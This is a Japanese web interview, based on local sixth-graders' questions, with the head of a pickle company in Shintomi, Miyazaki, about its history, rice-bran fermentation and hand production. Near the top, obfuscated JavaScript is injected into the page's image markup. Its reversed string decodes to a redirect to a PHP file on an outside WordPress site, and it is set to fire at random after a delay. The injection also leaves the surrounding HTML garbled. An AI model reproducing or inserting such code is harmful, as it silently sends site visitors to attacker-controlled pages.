※宮崎県児湯郡新富町の小学6年生からの質問をもとに、町のキーパーソンを取材しました（2020年9月）。
{if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>tomi.work/wp-content/uploads/2021/03/image3.jpg” alt=”” width=”1024″ height=”683″ />木村昭彦さん（<a href=)
キムラ漬物宮崎工業株式会社 代表取締役）は、漬物の製造販売業だけでなく、漬物や発酵について研究を重ねています。講座や体験プログラム等を通して、多くの人に日本の伝統的な食文化の素晴らしさを伝えています。
Q1.どうして漬物屋さんを始めたのですか？
A.キムラ漬物宮崎工業は昭和47年（1972年）10月、祖父が創業しました。平成25年に私が代表取締役に就任しました。昭和26年創業のキムラ漬物株式会社（愛知県）の同系会社になります。
Q2.いつ工場を建てたのですか？
A.1972年（今から48年前）になります。
Q3.なぜ新富町に建てたのですか？
A.天日干し大根に適した土地で、新しい産地を探していたところ、ちょうど新富町が企業誘致をしていたので新富町に建てました。
Q4.作るときに気をつけていることは何ですか？
A.漬物は人の口に入るもの（食品）です。ですから、衛生面には特に気をつけて作業しています。
Q5.仕事は楽しいですか？
A.楽しくもあるし、苦しくもあります。常に真剣勝負！ ただ、いつも「笑顔」を忘れずに働いています。
Q6.なぜ手作業で作っているのですか？
A.どんなにすごい機械にもできない作業があるからです。また、原材料はいろいろなサイズがあり、工業製品のように同じサイズ、重さではありません。機械で一律にできないことなどは手作業でも行っています。
Q7.なぜサイズごとに色分けするのですか？
A.サイズごとに作り方が異なるので、選別をして作業をしています。選別したものをひと目で分かるように、サイズごとに色分けしています。例えば運動会の団分けのように見た目で分り、集まれる（集められる）からです。
Q8.賞をとったと聞きました。どんな賞をとったのですか？
A.『にっぽんの宝物グランプリ 宮崎大会 新体験部門グランプリ（2019年）』受賞や、『宮崎県未来成長企業（2020年）』にも選定されました。
いろいろなセミナー（勉強会）にも参加して日々学んでいます。もっと商品を広めていきたいし、良くしていきたいと思っています。
Q9.こだわっていることは何ですか？
A.ぬか漬けと発酵です。とくに伝統的な方法である、米ぬかと塩を使って行う方法で今も行っています。
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▲オクラ、トマト、ゴーヤも全て、木村さんが発酵教室で受講者に提供した自作のぬか漬け</p>
<h3>Q10.インターネットに載っていた漬物以外にも種類がありますか？</h3>
<p><strong>A.</strong>OEM（オーイーエム）というものを作っています。<br />
※OEM（Original Equipment Manufacturing（Manufacturer））とは、他社ブランドの製品を製造することです。今は京都の会社の商品をキムラ漬物の方で作っています。</p>
<h3>Q11.作るまでの時間はどのくらいかかりますか？</h3>
<p><strong>A.</strong>最低でも２か月から３か月かかります。ぬかを流して味付けしてから３日以上かけて完成になります。</p>
<h3>Q12.大根を干す期間は？</h3>
<p><strong>A.</strong>２週間ほどです（12月〜1月の間に干します）。<br />
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